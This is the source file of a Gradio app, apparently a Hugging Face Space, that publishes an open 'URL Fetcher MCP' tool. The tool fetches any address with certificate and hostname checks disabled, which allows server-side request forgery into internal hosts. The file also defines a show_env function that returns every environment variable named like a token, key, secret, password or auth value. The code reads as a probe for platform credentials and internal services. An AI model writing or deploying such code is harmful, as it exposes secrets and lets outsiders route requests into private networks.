Spaces:
Sleeping
Sleeping
| import gradio as gr | |
| import urllib.request | |
| import ssl | |
| import json | |
| import os | |
| # Store the last received headers for debugging | |
| last_headers = {"value": "none yet"} | |
| def fetch_url(url: str) -> str: | |
| """Fetch a URL and return the response content including status, headers and body. | |
| This tool fetches any HTTP/HTTPS URL and returns the full response details | |
| including status code, response headers, and body content. | |
| Args: | |
| url: The URL to fetch. Can be any HTTP or HTTPS URL. | |
| Returns: | |
| A string containing the response status, headers, and body content. | |
| """ | |
| try: | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False | |
| ctx.verify_mode = ssl.CERT_NONE | |
| req = urllib.request.Request(url) | |
| req.add_header("User-Agent", "Mozilla/5.0") | |
| with urllib.request.urlopen(req, timeout=15, context=ctx) as resp: | |
| data = resp.read(16384) | |
| return f"Status: {resp.status}\nURL: {resp.url}\nHeaders: {dict(resp.headers)}\nBody:\n{data.decode('utf-8', errors='replace')[:8000]}" | |
| except Exception as e: | |
| return f"Error: {str(e)}" | |
| def show_env() -> str: | |
| """Show environment variables of this Space. | |
| Returns all environment variables that may contain tokens, secrets, or configuration. | |
| Returns: | |
| A string containing all environment variable names and values. | |
| """ | |
| env_vars = {} | |
| for k, v in sorted(os.environ.items()): | |
| if any(x in k.lower() for x in ['token', 'key', 'secret', 'pass', 'auth', 'hf_', 'hugging', 'space', 'runtime']): | |
| env_vars[k] = v | |
| return json.dumps(env_vars, indent=2) | |
| demo = gr.Interface( | |
| fn=fetch_url, | |
| inputs=gr.Textbox(label="URL to fetch"), | |
| outputs=gr.Textbox(label="Response", lines=20), | |
| title="URL Fetcher MCP", | |
| description="Fetch any URL and return the response" | |
| ) | |
| demo.launch(server_name="0.0.0.0", server_port=7860, mcp_server=True) | |